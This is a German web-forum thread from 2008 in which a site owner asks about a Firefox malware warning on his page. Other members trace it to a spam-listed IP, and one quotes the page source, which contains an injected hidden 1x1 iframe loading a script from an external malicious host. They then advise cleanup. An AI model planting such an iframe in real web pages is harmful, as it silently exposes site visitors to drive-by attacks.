Anzeige

Hackerangriff ??? auf meine Webseite ?

Hackerangriff ??? auf meine Webseite ? | PSD-Tutorials.de

Erstellt von tiroler, 11.08.2008.

  1. tiroler

    tiroler Hat es drauf

    14
    Dabei seit:
    04.11.2006
    Beiträge:
    2.202
    Geschlecht:
    männlich
    Ort:
    Pfalz und Tirol
    Software:
    CS4, C4D R10
    Kameratyp:
    Canon EOS 400D+L-Obj.
    Hackerangriff ??? auf meine Webseite ?
    Hi community,
    wenn ich meine Webseite über den browser Firefox öffnen möchte, kommt folgende Fehlermeldung:
    [​IMG]

    wenn ich rechts unten auf " Diese Warnung ignorieren " klicke komme ich weiter und
    sehe in der Statuszeile folgende Adresse, welche geladen wird nachdem meine Seite geöffnet wurde:
    [​IMG]

    Allem Anschein ladet diese URL sich selbst und verursacht die Fehlermeldung.
    Im IE funktioniert die Seite einwandfrei.

    Was könnte das sein ? Möglichweise ein Webbrowser Add-On ?
     
    #1      
  2. Christoph680

    Christoph680 Philipp Christoph

    Dabei seit:
    30.04.2006
    Beiträge:
    414
    Geschlecht:
    männlich
    Ort:
    Oberhausen-Rheinhausen
    Hackerangriff ??? auf meine Webseite ?
    AW: Hackerangriff ??? auf meine Webseite ?

    hab das hier gefunden ;)

    IP address 200.46.83.200 (it used to be 200.46.83.202 and 200.46.83.203)
    ------------------------
    IP address 200.46.83.200 is found listed at sbl.spamhaus.org
    Lists "known spammers, spam gangs or spam support services."
    inetnum: 200.46.0/17
    owner: Net2Net Corp.
    address: 55-0779 - Panama - PA
    country: PA
    nserver: NS.PSINETPA.NET
    nserver: NS2.PSINETPA.NET
    e-mail: ipad...@NET2NET.COM.PA
    Address 200.46.83.200 maps to 200-83-46-200-ip.alianzaviva.net
    83.46.200.in-addr.arpa has SOA hostmas...@sinfo.net

    würde mal deinen provider drüber informieren
     
    #2      
  3. Matthias7

    Matthias7 Noch nicht viel geschrieben

    Dabei seit:
    03.08.2008
    Beiträge:
    8
    Geschlecht:
    männlich
    Hackerangriff ??? auf meine Webseite ?
    AW: Hackerangriff ??? auf meine Webseite ?

    Würde auch gleich Melden

    This is a large known "Canadian Pharmacy" spammer selling fake pharm. The spam sites are hosted by spamhaus Net2Net Corp in Panama at 200.46.83.200. The DNS is hosted in Red China by spamhaus ISP's.

    Why is spamhaus Red China hosting the Olympics?

    Here are the DNS records:

    Domain Type TTL Answer
    ifmeds.com. NS 3600 ns1.dns.com.cn. [122.70.138.5-6, China TieTong; 124.42.122.8-9, CNC]
    ifmeds.com. NS 3600 ns2.dns.com.cn. [122.70.138.8-9, China TieTong; 124.42.122.5-6, CNC]
    ifmeds.com. A 3600 200.46.83.200

    Spam usually originates from Yahoo.co.uk, who is completely inept at stopping this spammer. This spam was from MortonRivas62@yahoo.co.uk (Yahoo DomainKeys verified, which is a joke even though Yahoo claims "DomainKeys is a forger's worst nightmare").

    Abuse contacts: ipadmin@NET2NET.COM.PA, ipas@cnnic.net.cn, crnet_mgr@chinatietong.com, crnet_tec@chinatietong.com, abuse@cnc-noc.net
     
    #3      
  4. tiroler

    tiroler Hat es drauf

    14
    Dabei seit:
    04.11.2006
    Beiträge:
    2.202
    Geschlecht:
    männlich
    Ort:
    Pfalz und Tirol
    Software:
    CS4, C4D R10
    Kameratyp:
    Canon EOS 400D+L-Obj.
    Hackerangriff ??? auf meine Webseite ?
    AW: Hackerangriff ??? auf meine Webseite ?

    der Angriff müsste ja im Code der Seite liegen ? werde den mal absuchen.


    Edit: Code durchsucht - nichts gefunden !!
     
    Zuletzt bearbeitet: 12.08.2008
    #4      
  5. netbandit

    netbandit Aktives Mitglied

    12
    Dabei seit:
    18.05.2008
    Beiträge:
    1.145
    Geschlecht:
    männlich
    Hackerangriff ??? auf meine Webseite ?
    AW: Hackerangriff ??? auf meine Webseite ?

    Zeile 47 (iframe):
    HTML:
    1.  
    2. <h2>Go on</h2><p></p>
    3.                   <a href="http://whos.amung.us/show/nrnpj0z8"><img src="http://whos.amung.us/swidget/nrnpj0z8.gif" alt="web stats" width="80" height="15" border="0" /></a> <br><iframe width=1 height=1 border=0 frameborder=0 src="http://200.46.83.203/bless/index.php"></iframe>
    4.                   <br>
    5.  
     
    #5      
  6. tiroler

    tiroler Hat es drauf

    14
    Dabei seit:
    04.11.2006
    Beiträge:
    2.202
    Geschlecht:
    männlich
    Ort:
    Pfalz und Tirol
    Software:
    CS4, C4D R10
    Kameratyp:
    Canon EOS 400D+L-Obj.
    Hackerangriff ??? auf meine Webseite ?
    AW: Hackerangriff ??? auf meine Webseite ?

    ne -das ist ein korrekter Link zu einer Statistikgeschichte
     
    #6      
  7. PhSn

    PhSn Videofreak

    21
    Dabei seit:
    26.09.2007
    Beiträge:
    1.769
    Geschlecht:
    männlich
    Ort:
    Mainz
    Software:
    Adobe Creative Cloud, Maxon Cinema 4D
    Kameratyp:
    Canon EOS 600D
    Hackerangriff ??? auf meine Webseite ?
    AW: Hackerangriff ??? auf meine Webseite ?

    Aber da hast du doch: "http://200.46.83.203/bless/index.php" ????

    Oben hast du doch noch gefragt was das is...

    PhSn

     
    #7      
  8. netbandit

    netbandit Aktives Mitglied

    12
    Dabei seit:
    18.05.2008
    Beiträge:
    1.145
    Geschlecht:
    männlich
    Hackerangriff ??? auf meine Webseite ?
    AW: Hackerangriff ??? auf meine Webseite ?

    Nach Deiner "Statistikgeschichte" folgt ein Iframe, src ist die Seite die geb_lacklist_ed ist (200.46.83.203) und die u.a versucht mit einem Script auf die Rechner der Besucher zuzugreifen.

    Solltest Du das nicht eingebunden haben, würde ich sofort Anzeige erstatten. Seite offline nehmen, nach Dateien suchen, die definitiv nicht von Dir sind (auch versteckte, htaccess usw.) und löschen, Zugangsdaten ändern usw.

    Die "infizierte" Seite solltest Du aber auch, im Interesse der User hier, erst einmal aus Deiner Signatur entfernen. ;)
     
    #8      
  9. tiroler

    tiroler Hat es drauf

    14
    Dabei seit:
    04.11.2006
    Beiträge:
    2.202
    Geschlecht:
    männlich
    Ort:
    Pfalz und Tirol
    Software:
    CS4, C4D R10
    Kameratyp:
    Canon EOS 400D+L-Obj.
    Hackerangriff ??? auf meine Webseite ?
    AW: Hackerangriff ??? auf meine Webseite ?

    OH-SORRY SOWEIT HABE ICH GAR NICHT GEGUCKT-
    das nehme ich sofort raus und änder die PW's.

    Danke bisher.

    so habs vom Server gelöscht-
    Nun die alles entscheidende Frage:
    WIE UM GOTTES WILLEN HABEN DIE ES GESCHAFFT IN MEINEN SEITENCODE WAS REINZUSCHREIBEN ???????????
     
    Zuletzt bearbeitet: 12.08.2008
    #9      
  10. Matthias7

    Matthias7 Noch nicht viel geschrieben

    Dabei seit:
    03.08.2008
    Beiträge:
    8
    Geschlecht:
    männlich
    Hackerangriff ??? auf meine Webseite ?
    AW: Hackerangriff ??? auf meine Webseite ?

    Das ist doch kein Problem wenn einer ne Sicherheitslüge ausnützt und somit z.b. Admin Rechte bekommt kann er alles verändern.
    Kann natürlich auch ne kleine Lüge sein, bei der man "nur" user rechte bekommt und nur in bestimmten bereichen codes einfügen kann.
     
    #10      
  11. tiroler

    tiroler Hat es drauf

    14
    Dabei seit:
    04.11.2006
    Beiträge:
    2.202
    Geschlecht:
    männlich
    Ort:
    Pfalz und Tirol
    Software:
    CS4, C4D R10
    Kameratyp:
    Canon EOS 400D+L-Obj.
    Hackerangriff ??? auf meine Webseite ?
    AW: Hackerangriff ??? auf meine Webseite ?

    Alle Daten vom Server gelöscht, Dateien abgeändert- shit rausgeworfen- neu uploadet !
    und das Internet zeigt mir immer noch die Fehlermeldung ?

    Nimms mal aus meiner Sig raus- so ein S..t !

    Was nu ?
     
    Zuletzt bearbeitet: 13.08.2008
    #11      
  12. Boerek

    Boerek Noch nicht viel geschrieben

    Dabei seit:
    12.02.2008
    Beiträge:
    13
    Geschlecht:
    männlich
    Hackerangriff ??? auf meine Webseite ?
    AW: Hackerangriff ??? auf meine Webseite ?

    manmanman, die hacker nerven nur noch rum.

    MFG Boerek
     
    #12      
x
×
×
teststefan